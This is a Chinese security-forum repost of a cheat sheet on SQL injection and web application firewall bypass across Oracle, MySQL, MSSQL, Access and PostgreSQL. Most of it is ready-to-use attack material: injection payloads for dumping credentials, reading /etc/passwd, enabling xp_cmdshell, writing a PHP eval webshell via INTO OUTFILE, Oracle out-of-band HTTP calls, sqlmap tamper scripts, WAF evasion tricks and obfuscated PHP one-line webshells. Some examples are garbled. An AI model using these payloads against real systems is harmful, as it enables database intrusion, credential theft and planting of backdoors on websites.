安全矩阵

 找回密码
 立即注册
搜索
查看: 560|回复: 0

数据库语法整理及WAF绕过方式

[复制链接]

251

主题

270

帖子

1783

积分

金牌会员

Rank: 6Rank: 6

积分
1783
发表于 2023-1-11 20:06:48 | 显示全部楼层 |阅读模式

转载于:利刃信安 利刃信安 2023-01-09 02:40 发表于天津

数据库语法整理及WAF绕过方式



关系型数据库
关系型数据库:指采用了关系模型来组织数据的数据库。

直白的说就是:关系型数据库最典型的数据结构是表,由二维表及其之间的联系所组成的一个数据组织。

当今主流的关系型数据库有:Oracle[1],Microsoft SQL Server[2],MySQL[3],PostgreSQL[4],DB2[5], Microsoft Access[6], SQLite[7],MariaDB[8]。

Oracle
Oracle特性:


select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin

位置一

  • • 可利用其他控制字符替换空格:%00、%09、%0a、%0b、%0c、%0d
  • • 可利用其他符号:.


位置二

  • • 可利用其他控制字符替换空格:%00、%09、%0a、%0b、%0c、%0d


位置三

  • • 可利用其他控制字符替换空格:%00、%09、%0a、%0b、%0c、%0d
  • • 可利用其他符号:+ 、- 、%ad


位置四

  • • 可利用其他控制字符替换空格:%00、%09、%0a、%0b、%0c、%0d


位置五

  • • 可利用其他控制字符替换空格:%00、%09、%0a、%0b、%0c、%0d
  • • 可插入字符:%24、%30-%ff


MySQL
MySql语法:

  • • 绕过逗号过滤



原码:union select 1,2,3,4;

绕过:union select * from (select 1)a JOIN (select 2)b JOIN (select 3)c JOIN (select 4)d;

MySql特性:


select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin

位置一

  • • 可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0。
  • • 可利用注释符号:/**/、#、--+



Select/**/*/**/from/**/[dbo].[Users]/**/where id =1

  • • 可利用数学运算以及数据类型:news_id=1.1,news_id=1E0,news_id=\N


位置二

  • • 可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0。
  • • 可利用注释符号:/**/、#、--+
  • • 可利用括号 :union(select 1,2)


位置三

  • • 可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0。
  • • 可利用注释符号:/**/、#、--+
  • • 可利用其他符号:+ 、- 、~ 、!、@


位置四

  • • 可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0。
  • • 可利用注释符号:/**/、#、--+
  • • 可利用数学运算以及数据类型:union select user(),2.0from admin union select user(),8e0from admin union select user(),\Nfrom admin


位置五

  • • 可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0。
  • • 可利用注释符号:/**/、#、--+


全局位置

  • • 可利用 反引号 号:



union select 1 schema_name from `information_schema.SCHEMATA` limit 0,1)

  • • 可利用内联注释:



union select 1,(select(schema_name)from/*!12345information_schema.SCHEMATA*/ limit 0,1)

  • • 可利用{}号:



id=1 union select 1,(select(schema_name)from {x information_schema.SCHEMATA} limit 0,1)

  • • 可利用()号:



id=1 union select 1,(select(schema_name)from(information_schema.SCHEMATA) limit 0,1)

MSSQL
MSSQL特性:

select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin
位置一

  • • 可利用其他控制字符替换空格:%01~%0F、%11~%1F。
  • • 可利用注释符号:/**/
  • • 可利用数学运算以及数据类型:news_id=1.1,news_id=1e0,news_id=1-1


位置二

  • • 可利用其他控制字符替换空格:%01~%0F、%11~%1F。
  • • 可利用注释符号:/**/
  • • 可利用冒号:union:slect


位置三

  • • 可利用其他控制字符替换空格:%01~%0F、%11~%1F。
  • • 可利用注释符号:/**/
  • • 可利用其他符号:+ 、- 、~ 、:、.


位置四

  • • 可利用其他控制字符替换空格:%01~%0F、%11~%1F。
  • • 可利用注释符号:/**/
  • • 可利用其他字符:%80~%FF


位置五

  • • 可利用其他控制字符替换空格:%01~%0F、%11~%1F。
  • • 可利用注释符号:/**/
  • • 可利用冒号:union:select
  • • 可利用其他字符::、.、%80~%FF


Access
Access特性:

select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin
位置一

  • • 可利用其他控制字符替换空格:%09、%0a、%0c、%0d、%16


位置二

  • • 可利用其他控制字符替换空格:%09、%0a、%0c、%0d


位置三

  • • 可利用其他控制字符替换空格:%09、%0a、%0c、%0d
  • • 可利用其他符号:+ 、- 、. 、=


位置四

  • • 可利用其他控制字符替换空格:%09、%0a、%0c、%0d


位置五

  • • 可利用其他控制字符替换空格:%09、%0a、%0c、%0d


PostgreSQL
数据库特性

Postgresql 字符串

  • • Postgres 输入的所有字符串都被认为是 Unknown 类型


Unknown 类型有两种输入模式:

  • • 单引号转义模式;
  • • 美元符逃逸模式;


在单引号转义模式中允许使用前缀 E/U/B/X 表示转义字符串/Unicode 字符串/位串。

  • • 其中 E 表示进行 C 语言风格的转义;
  • • U 表示进行 Unicode 转义,并支持自定义转义符;
  • • B 和 X 代表后续跟随的是一个 bit 序列;


PostgreSQL特性:

select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin
位置一

  • • 可利用其他控制字符替换空格:%09、%0a、%0c、%0d
  • • 可利用其他符号:. 、!


位置二

  • • 可利用其他控制字符替换空格:%09、%0a、%0c、%0d


位置三

  • • 可利用其他控制字符替换空格:%09、%0a、%0c、%0d
  • • 可利用其他符号:+ 、- 、. 、~、@


位置四

  • • 可利用其他控制字符替换空格:%09、%0a、%0c、%0d


位置五

  • • 可利用其他控制字符替换空格:%09、%0a、%0c、%0d
  • • 可插入字符:%24、%30-%ff


绕过方式:

  • • 另类字符集编码绕过即使用其他不同的编码方式来配合绕过


编码网址

https://www.compart.com/en/unicode
注入点
SELECT注入
SELECT语句用于数据表记录的查询,常在界面展示的过程使用,如新闻的内容、界面的展示等。

注入点在select_expr
利用AS别名的方法,直接将查询的结果显示到界面中。访问链接`http://192.168.20.133/sqln1.php?id=(select%20pwd%20from%20wp_user)%20as%20title

注入点在table_reference
仍可以用别名的方式直接取出数据

在不知表名的情况下,可以先从information_schema.tables中查询表名。在select_expr和table_reference的注入,如果注入的点有反引号包裹,那么需要先闭合反引号。

注入点在WHERE或HAVING后
先判断有无引号包裹,再闭合前面可能存在的括号,即可进行注入来获取数据。

注入点在GROUP BY或ORDER BY后
当遇到不是WHERE后的注入点时,先在本地的MySQL中进行尝试,看语句后面能加什么,从而判断当前可以注入的位置,进而进行针对性的注入。

注入点在LIMIT后
LIMIT后的注入判断比较简单,通过更改数字大小,页面会显示更多或者更少的记录数。由于语法限制,前面的字符注入方式不可行(LIMIT后只能是数字),在整个SQL语句没有ORDER BY关键字的情况下,可以直接使用UNION注入。另外,我们可根据SELECT语法,通过加入PROCEDURE来尝试注入,这类语句只适合MySQL 5.6前的版本。

BENCHMARK语句的处理时间大约是1秒。在有写入权限的特定情况条件下,我们也可以使用INTO OUTFILE语句向Web目录写入webshell,在无法控制文件内容的情况下,可通过“SELECT xx INTO outfile"/tmp/xxx.php"LINES TERMINATED BY'<?php phpinfo();?>'”的方式控制部分内容。

INSERT注入
INSERT语句是插入数据表记录的语句,网页设计中常在添加新闻、用户注册、回复评论的地方出现。

通常,注入位于字段名或者字段值的地方,且没有回显信息。

注入点位于tbl_name
如果能够通过注释符注释后续语句,则可直接插入特定数据到想要的表内,如管理员表。

注入点位于VALUES
先闭合单引号,然后另行插入一条记录,通常管理员和普通用户在同一个表,此时便可以通过表字段来控制管理员权限。

UPDATE注入
UPDATE语句适用于数据库记录的更新,如用户修改自己的文章、介绍信息、更新信息等。

DELETE注入
DELETE注入大多在WHERE后。

DELETE语句的作用是删除某个表的全部或指定行的数据。对id参数进行注入时,稍有不慎就会使WHERE后的值为True,导致整个wp_news的数据被删除。

为了保证不会对正常数据造成干扰,通常使用'and sleep(1)'的方式保证WHERE后的结果返回为False,让语句无法成功执行。

非关系型数据库
非关系型数据库都是针对某些特定的应用需求出现的,因此,对于该类应用,具有极高的性能。

主流代表为Redis[9], Amazon DynamoDB[10], Memcached[11],Microsoft Azure Cosmos DB[12]和Hazelcast[13]。

如何判断各数据库
| Oracle     | MySQL                                    | MSSQL                   | PostgreSQL                |                |
| ---------- | ---------------------------------------- | ----------------------- | ------------------------- | -------------- |
| 获取长度   | length()、lengthb()                      | length()、char_length() |                           |                |
| 获取版本   | select wm_concat(banner) from v$version; | @@version、version()    | @@version                 | version()      |
| 连接字符串 | 'abc' || 'def'                         | 'abc' 'def'             | 'abc'+'def'、'abc'|'def' | 'abc'||'def' |

| DB     | 连接符                                       | 行注释 | 唯一的默认表变量和函数 |
| ------ | -------------------------------------------- | ------ | ---------------------- |
| MSSQL  | %2B(URL+号编码)(e.g. ?category=sho’%2b’es) | --     | @@PACK_RECEIVED        |
| MYSQL  | %20 (URL空格编码)                          | #      | CONNECTION_ID()        |
| Oracle | |        |                      |
| PGsql  | |        |                      |
| Access | “a” & “b”                                    | N/A    | msysobjects            |

| 数据库 | 语句(大多需要配合编码)                                       |
| ------ | ------------------------------------------------------------ |
| Oracle | oder by N # 爆出第一个数据库名 and 1=2 union select 1,2,(select banner from sys.v_ where rownum=1),4,5,6 from dual # 依次爆出所有数据库名,假设第一个库名为first_dbname and 1=2 union select 1,2,(select owner from all_tables where rownum=1 and owner<>'first_dbname'),4,5,6 from dual 爆出表名 and 1=2 union select 1,2,(select table_name from user_tables where rownum=1),4,5,6 from dual 同理,同爆出下一个数据库类似爆出下一个表名就不说了,但是必须注意表名用大写或者表名大写的十六进制代码。有时候我们只想要某个数据库中含密码字段的表名,采用模糊查询语句,如下:and (select column_name from user_tab_columns where column_name like '%25pass%25')<0 爆出表tablename中的第一个字段名 and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename' and rownum=1),4,5,6 from dual 依次下一个字段名 and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename' and column_name<>'first_col_name' and rownum=1),4,5,6 from dual 若为基于时间或者基于bool类型盲注,可结合substr 、ASCII进行赋值盲测。若屏蔽关键函数,可尝试SYS_CONTEXT('USERENV','CURRENT_USER')类用法。 |
| Mysql  | #正常语句 192.168.192.128/sqltest/news.php?id=1 #判断存在注入否 192.168.192.128/sqltest/news.php?id=1 and 1=2 #确定字段数 order by 192.168.192.128/sqltest/news.php?id=-1 order by 3 #测试回显字段 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,3 #测试字段内容 192.168.192.128/sqltest/news.php?id=-1 union select 1,user(),3 192.168.192.128/sqltest/news.php?id=-1 union select 1,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),3 #查询当前库下所有表 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #查询admin表下的字段名(16进制) 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e #查询admin表下的用户名密码 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(name,0x5e,pass) from admin #读取系统文件(/etc/passwd,需转换为16进制) 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,load_file(0x2f6574632f706173737764) #文件写入 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/var/www/html/1.php'-- PS:若权限不足,换个目录 |
| MSSQL  | PS:回显型请查阅参考资料的链接,这里主要盲注的语法。 #爆数据库版本(可先测长度) aspx?c=c1'//and//ascii(substring(@@version,1,1))=67//--&t=0 ps:在范围界定时,可利用二分查找结合大于小于来利用;亦可直接赋值脚本爆破,依次类推直至最后一字母。#爆当前数据库名字 aspx?c=c1'//and//ascii(substring(db_name(),1,1))>200//--&t=0 #爆表 aspx?c=c1'//and//ascii(substring((select//top//1 name//from//dbname.sys.all_objects where type='U'//AND//is_ms_shipped=0),1,1))>0//--&t=0 #爆user表内字段 aspx?c=c1'//and//ascii(substring((select//top// 1//COLUMN_NAME from//dbname.information_schema.columns//where/** /TABLE_NAME='user'),1,1))>0//--&t=0 #爆数据 aspx?c=c1'//and//ascii(substring((select//top//1//fPwd//from//User),1,1))>0/**/--&t=0 |

注意:

1.Oracle 只能用 substr ()不能使用 substring()

select substr('HelloWorld',5,3) value from dual;    //返回结果:oWo
2.使用如下可判断是否为Oracle

(Select user from dual)>0
3.#注释符为MySQL独有

SQL注入总结
绕过过滤规则
  • \1. 使用空字节%00等绕过WAF
  • \2. 过滤空格的情况,使用 tab 或%09 或/**/代替:


'%09o+r%091=(select%09cast((decode((ascii(substr((select%09user%09from%09dual),'1',1))),73,'1','yy'))%09as%09int)%09from%09dual)%09o+r%09'1'='1
  • \1. 过滤 and 和 or 的情况,在中间加一个被过滤字符、或使用&&和||代替
  • \2. CONCAT('0x',HEX('c:\boot.ini'));
  • \3. (CHaR(75)||CHaR(76)||CHaR(77))(使用+或||或 concat)


主流数据库注入案例
Oracle 注入
  • \1. Time-based


Select utl_http.request('http://host/ '||({INJECTION})||'.html')select httpuri_type('{IP/INJECTION}').getclob() from dual'||(cast((decode(bitand((select dbms_pipe.receive_message('a',3)from dual),1),1,1,'bbb')) as int))||'
  • \1. Error-based


1=2 or 1=ordsys.ord_dicom.getmappingxpath({SQL in HERE},'a','b');1=2 or 1=ctxsys.ctx_query.chk_xpath(user,'a','b');123 and 1=utl_inaddr.get_host_name/address(({SQL in HERE}));  /*两个括号*/123 and 1=ctxsys.drithsx.sn(1,(SQL in HERE))' or 1=decode((select length(user) from dual),6,1,(selectchar(39) from dual));     /*Decode()方式*/
  • \1. 按位数猜字符


'||(cast((decode(bitand(ascii((select substr(({SQL injection}),1,1) from dual)),1),0,1,'bbb')) as int))||';select 1 from dual where 'aaa'=decode(greatest(user,'S'),'S','aaa','');
  • \1. order by 注入


select id,name from usertest order by decode(1,cast((select decode(({SQL injection}),{猜测的内容},1,'a') from dual) as int),1,1);select id,name from usertest order by cast(cast((select decode(({select length(user) from dual }),{猜测的内容},1,'a') from dual) as int) as int);
  • \1. 获取账户信息


select name, password, astatus from sys.user$;
  • \1. 获取当前用户


select username from user_users/all_users/dba_users;
  • \1. 是否为 DBA 登录


select sys_context('USERENV','ISDBA') from dual;
  • \1. 获取当前用户名


select sys_context('USERENV','SESSION_USER') from dual;select sys_context('USERENV','CURRENT_USER') from dual;
  • \1. 获取当前终端


select userenv('terminal') from dual;select sys_context('USERENV','TERMINAL') from dual;select sys_context('USERENV','HOST') from dual;select REPLACE(SUBSTR(sys_context('USERENV','HOST'),1,30),'\',':') from dual;
  • \1. 获取系统用户名


select sys_context('USERENV','OS_USER') from dual;
  • \1. 获取数据库名


select sys_context('USERENV','DB_NAME') from dual;
  • \1. 获取当前 IP


select sys_context('USERENV','IP_ADDRESS') from dual;
  • \1. 获取当前数据库


select global_name from global_name;select sys.database_name from dual;select name from v$database;select instance_name from v$instance;
  • \1. 获取表名


select table_name from all_tables where owner='xxx';
  • \1. 获取列名


select owner,table_name,column_name from all_tab_columns where table_name='xxx';select owner,table_name,column_name from all_tab_cols where table_name='xxx';
MySQL 注入
  • \1. Time-based


Sleep(10)benchmark(10000000,sha1('aaa'))
  • \1. Error-based


# 大整数溢出报错Where id=1 and !(Select * from (select user())x)-~0;and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1));and extractvalue(1, concat(0x5c, (select table_name frominformation_schema.tables limit 1)));# Floor() + rand() + group byId=1 and (select 1 from (selectcount(*),concat(version(),floor(rand(0)*2))x frominformation_schema.tables group by x)a);Id=1 and (select count(*) from (select 1 union select nullunion select !1)x group by concat((select table_name frominformation_schema.tables limit 1),floor(rand(0)*2)));
  • \1. Error-based / blind


# insert into 注入insert test1 value(5,'' or if({substr((selectuser()),1)='root@localhost'},sleep(5),'a') or '' );insert test1 value('foo', 'bar'+asci(substr(user(),1,1))+'');    /*字符与数字用+号连接时,字符会被忽略*/insert test1 value('foo', ''+ conv(hex(substr((select@@version),1)),16,10)+'');    /*将要查询的内容转为10 进制写入*/
  • \1. order by 注入


Order by id,if(1=1,1,(select 1 from information_schema.tables));select id,name from test1 order by id,!(select*from(select user())x)-~0;
  • \1. 写入文件


Select '0x123456789' into outfile '/webroot/evil.txt'
  • \1. 获取列名


select id,user,pwd from user where user='root' and left(pwd,0)= '';
MSSQL 注入
  • \1. Time-based


;waitfor delay‘0:0:5’;
  • \1. Error-based


?id=@@version;
  • \1. 判断是否开启 xp_cmdshell


and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell');
  • \1. 开启 xp_cmdsell


EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
PortgreSQL 注入
  • \1. Time-based


Pg_sleep(5);
  • \1. Error-based


&()o1: select * from users where id=1 or (\)=1 union select 1,@@VERSION -- 1&no.&: select * from users where id=1 or $<\. or 1=1 -- 1sUE1n: select * from users where id='1' union select 1a,banner from v$version where rownum=1 -- 1's{{s: select * from users where id=1 or "{{" or 1=1 -- 1so,s: select * from users where id=1 or "%," or 1=1 -- 1
SQLMAP Tamper 绕过
| 脚本名称                     | 作用                                                         |
| ---------------------------- | ------------------------------------------------------------ |
| apostrophemask.py            | 用utf8代替引号                                               |
| equaltolike.py               | like 代替等号                                                |
| space2dash.py                | 绕过过滤‘=’ 替换空格字符(”),('' – ')后跟一个破折号注释,一个随机字符串和一个新行(’ n’) |
| greatest.py                  | 绕过过滤’>’ ,用GREATEST替换大于号。                          |
| space2hash.py                | 空格替换为#号 随机字符串 以及换行符                          |
| apostrophenullencode.py      | 绕过过滤双引号,替换字符和双引号。                           |
| halfversionedmorekeywords.py | 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论 |
| space2morehash.py            | 空格替换为 #号 以及更多随机字符串 换行符                     |
| appendnullbyte.py            | 在有效负荷结束位置加载零字节字符编码                         |
| ifnull2ifisnull.py           | 绕过对 IFNULL 过滤。替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’ |
| space2mssqlblank.py          | 空格替换为其它空符号                                         |
| base64encode.py              | 用base64编码替换                                             |
| space2mssqlhash.py           | 替换空格                                                     |
| modsecurityversioned.py      | 过滤空格,包含完整的查询版本注释                             |
| space2mysqlblank.py          | 空格替换其它空白符号(mysql)                                  |
| between.py                   | 用between替换大于号(>)                                     |
| space2mysqldash.py           | 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) |
| multiplespaces.py            | 围绕SQL关键字添加多个空格                                    |
| space2plus.py                | 用+替换空格                                                  |
| bluecoat.py                  | 代替空格字符后与一个有效的随机空白字符的SQL语句。然后替换=为like |
| nonrecursivereplacement.py   | 取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters |
| space2randomblank.py         | 代替空格字符(“”)从一个随机的空白字符可选字符的有效集       |
| sp_password.py               | 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾     |
| chardoubleencode.py          | 双url编码(不处理以编码的)                                    |
| unionalltounion.py           | 替换UNION ALL SELECT UNION SELECT                            |
| charencode.py                | url编码                                                      |
| randomcase.py                | 随机大小写                                                   |
| unmagicquotes.py             | 宽字符绕过 GPC addslashes                                    |
| randomcomments.py            | 用/**/分割sql关键字                                          |
| charunicodeencode.py         | 字符串 unicode 编码                                          |
| securesphere.py              | 追加特制的字符串                                             |
| versionedmorekeywords.py     | 注释绕过                                                     |
| space2comment.py             | Replaces space character (‘ ‘) with comments ‘/**/’          |

一些妙用:

  • \1. 避免过多的错误请求被屏蔽 参数:--safe-url,--safe-freq


  • \2. 二阶SQL注入 参数:--second-order


  • \3. 从数据库服务器中读取文件 参数:--file-read


  • \4. 把文件上传到数据库服务器中 参数:--file-write,--file-dest


  • \5. 爬行网站URL 参数:--crawl


  • \6. 非交互模式 参数:--batch


  • \7. 测试WAF/IPS/IDS保护 参数:--identify-waf


  • \8. 启发式判断注入 参数:--smart(有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。)


  • \9. -technique


    • • B:基于Boolean的盲注(Boolean based blind)
    • • Q:内联查询(Inline queries)
    • • T:基于时间的盲注(time based blind)
    • • U:基于联合查询(Union query based)
    • • E:基于错误(error based)
    • • S:栈查询(stack queries)



WAF及绕过姿势
什么是WAF?

WAF全称Web application firewall,

WAF的主流形态有哪些?

云WAF:阿里云盾、腾讯网站管家、创宇盾、CloudFlare、360磐云等

软件类:安全狗、云锁、360主机卫士、ModSecurity等

硬件类:启明星辰、绿盟、天融信、飞塔等

WAF的绕过角度:架构、规则特性、协议

0X01 架构层面绕过
寻找真实IP
  • • 云WAF通过修改DNS解析隐藏了真实IP地址
  • • 查找域名解析记录
  • • 利用邮件发送功能来抓包,获取真实IP


畸形数据包 BYPASS
  • • GET型请求转POST型
  • • Content-Length头长度大于4008
  • • 正常参数放在垃圾数据后面


0X02 规则特性绕过
1、IIS+ASP 绕过(%)
特殊符号%,在该环境下当们我输入s%elect的时候,在WAF层可能解析出来的结果就是s%elect,但是在iis+asp的环境的时候,解析出来的结果为select。

2、IIS+aspx 绕过(%u)
IIS服务器支持对于unicode的解析,如 s%u006c%u0006ect,IIS收到之后会被转换为select,但对于WAF层,可能还是 s%u006c%u0006ect 。

WAF:s%u006c%u0006ect * from user;IIS:select * from user;
| 字符   | Unicode编码                                                  |
| ------ | ------------------------------------------------------------ |
| a      | %u0000,%u0041,%u0061,%u00aa,%u00e2                       |
| 单引号 | %u0027,%u02b9,%u02bc,%u02c8,%u2032,%uff07,%c0%27,%c0%a7,%e0%80%a7 |
| 空白   | %u0020,%uff00,%c0%20,%c0%a0,%e0%80%a0                    |
| 左括号 | %u0028,%uff08,%c0%28,%c0%a8,%e0%80%a8                    |
| 右括号 | %u0029,%uff09,%c0%29,%c0%a9,%e0%80%a9                    |

3、IIS+asp|aspx(HPP)
HPP是指HTTP参数污染 HTTP Parameter Pollution。当查询字符串多次出现同一个参数时,根据容器不同会得到不同的结果。

例如对于下面的urlhttp://www.xxx.com/HttpPar.php?s ... world&str=xxser来说:php在取值时只输出最后一个参数,输出为:xsser。而对于urlhttp://xxx.xxx.com/HttpParServle ... world&str=xxser来说,HttpParServlet.java取到的结果为hello,这就是HTTP参数污染。

WAF绕过示例:

PHP:News.php?id=1&id=select username,password from admin--WAF取值为1,而PHP取值为select username,password from admin--Asp.net:News.aspx?id=1;&id=s&id=e&id=l&id=e&id=c&id=tAsp.net则会将多个相同的参数项的值连接起来。
下表中列举了一些主流环境下的HPP情况以供查阅:

| Technology/HTTP back-end                  | Overall Parsing Result                    | Example          |
| ----------------------------------------- | ----------------------------------------- | ---------------- |
| ASP.NET/IIS                               | All occurrences of the specific parameter | Par1=val1,val2   |
| ASP/IIS                                   | All occurrences of the specific parameter | Par1=val1,val2   |
| PHP/Apache                                | Last occurrence                           | Par1=val2        |
| PHP/Zeus                                  | Last occurrence                           | Par1=val2        |
| Jsp,Servlet/Apache Tomcat                 | First occurrence                          | Par1=val1        |
| Jsp,Servlet/Oracle Application Server 10g | First occurrence                          | Par1=val1        |
| Jsp,Servlet/Jetty                         | First occurrence                          | Par1=val1        |
| IBM Lotus Domino                          | Last occurrence                           | Par1=val2        |
| IBM HTTP Server                           | First occurrence                          | Par1=val1        |
| mod_perl,libapreq2/Apache                 | First occurrence                          | Par1=val1        |
| Perl CGI/Apache                           | First occurrence                          | Par1=val1        |
| mod_perl,lib???/Apache                    | Becomes an array                          | ARRAY(0x8b9059c) |
| mod_wsgi(Python)/Apache                   | First occurrence                          | Par1=val1        |
| Python/Zope                               | Becomes an array                          | [‘val1’,‘val2’]  |
| IceWarp                                   | Last occurrence                           | Par1=val2        |
| AXIS 2400                                 | All occurrences of the specific parameter | Par1=val1,val2   |
| Linksys Wireless-G PTZ Internet Camera    | Last occurrence                           | Par1=val2        |
| Ricoh Aficio 1022 Printer                 | First occurrence                          | Par1=val1        |
| webcamXP PRO                              | First occurrence                          | Par1=val1        |
| DBManAll                                  | occurrences of the specific parameter     | Par1=val1~~val2  |

4、Apache 2.x (畸形method)
某些WAF在处理数据的时候严格按照GET、POST等标准HTTP方法来获取数据,或者采用正则匹配的方式来处理数据,可能因为WAF和WEB服务解析的前后不对等绕过WAF。

示例如下,某些apache版本在做GET请求的时候,无论method为何值均会取出GET的内容:

5、Nginx+Lua WAF(突破参数限制)
WAF在实际环境中为防止拒绝服务式攻击 (denial of service attacks),默认最多解析前 100 个请求参数 (包括同名的),更多的参数将直接忽略。

默认情况下,通过ngx.req.get_uri_args、ngx.req.get_post_args获取uri参数,只能获取前100个参数

存在环境:Nginx+Lua WAF

6、PHP(变换请求方式)
假如php里使用$_REQUEST获取参数,那么php获取参数的默认优先级是:$_COOKIE > $_POST > $_GET。此时WAF层只过滤get/post,但没有过滤cookie,于是导致了绕过。

如下图,即使更换了HTTP请求方法,仍然完成了数据传递。

7、PHP + Apache (畸形的boundary)
PHP在解析multipart data的时候有自己的特性,对于boundary的识别,只取了逗号前面的内容,例如我们设置的boundary为----aaaa,123456,PHP解析的时候只识别了----aaaa,后面的内容均没有识别。然而其他的如WAF在做解析的时候,有可能获取的是整个字符串,此时可能就会出现BYPASS。

WebShell介绍及绕过
Webshell原理
Webshell的恶意性(Backdoor)表现在它的实现功能上,是一段带有恶意目的的正常脚本代码。

Webshell绕过
  • 中国菜刀


  • \1. 接收的参数内部混淆加密过WAF Content-Type:application/x-www-form-urlencoded

  • \2. 修改User-Agent

  • \3. 在服务器端解密的webshell


  • XISE菜刀


  • \1. URLdecode


  • SpiderEval


  • \1. 传递的参数中chr()+base64


  • 蚁剑


  • \1. base64 payload前增加几个字符

  • \2. 打破4的倍数使base64无法正常解码

  • \3. 生成一个随机的字符加在原始payload之前,再在一句话客户端忽略第一个字符


  • 冰蝎


  • \1. Get形式发起带密码的握手请求

  • \2. 客户端利用AES加密,发送至服务端

  • \3. 服务端收到之后先进行AES解密

  • \4. 服务端利用explode函数将拆分为一个字符串数据

  • \5. 可变函数方式调用索引为0的数组元素


PHP一句话绕过
1. 字符串变形绕过
字符串变形多数用于BYPASS安全狗,相当对于D盾,安全狗更加重视"形" 一个特殊的变形就能绕过安全狗。

ucwords()    //函数把字符串中每个单词的首字符转换为大写。ucfirst()    //函数把字符串中的首字符转换为大写。trim()       //函数从字符串的两端删除空白字符和其他预定义字符。substr_replace()    //函数把字符串的一部分替换为另一个字符串substr()     //函数返回字符串的一部分。strtr()      //函数转换字符串中特定的字符。strtoupper() //函数把字符串转换为大写。strtolower() //函数把字符串转换为小写。strtok()     //函数把字符串分割为更小的字符串str_rot13()  //函数对字符串执行 ROT13 编码。
  • substr_replace() 变形绕过


<?php  $a = substr_replace("assexx","rt",4);    $a($_POST['x']);    ?>
2. 定义函数绕过
定义一个函数把关键词分割达到bypass效果

<?php    function kdog($a){    $a($_POST['x']);}kdog(assert);?>    //或者    <?php    function kdog($a){    assert($a);}kdog($_POST['x']);?>   
3. 回调函数绕过
call_user_func_array()call_user_func()array_filter() array_walk()  array_map()registregister_shutdown_function()register_tick_function()filter_var() filter_var_array() uasort() uksort() array_reduce()array_walk() array_walk_recursive()
回调函数大部分已经被安全软件加入全家桶套餐,所以找到一个生僻的不常用的回调函数来执行,比如:

<?php    forward_static_call_array(assert,array($_POST['x']));?>
4. 回调函数变形绕过
因为前面总结出众多回调函数已经被加入豪华套餐,所以可以定义个函数调用。

<?php    function test($a,$b){    array_map($a,$b);}test(assert,array($_POST['x']));?>
5. 特殊字符干扰
<?php    $a = $_POST['a'];    $b = "\n";eval($b.=$a);?>
6. 数组绕过
<?php  $b = substr_replace("assexx","rt",4);    $a = [''=>$a($_POST['q'])];?>   
7. 编码绕过
简单的base64_decode,其中因为正则匹配可以加入一些下划线干扰。

<?php  $a = base64_decode("YXNz+ZX____J____0");    $a($_POST['x']);?>
引用链接
[11] Memcached: https://memcached.org/
[13] Hazelcast: https://hazelcast.com/





本文来自互联网搜索优秀安全博客内容+部分总结提炼,原文出处



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 13:34 , Processed in 0.019124 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表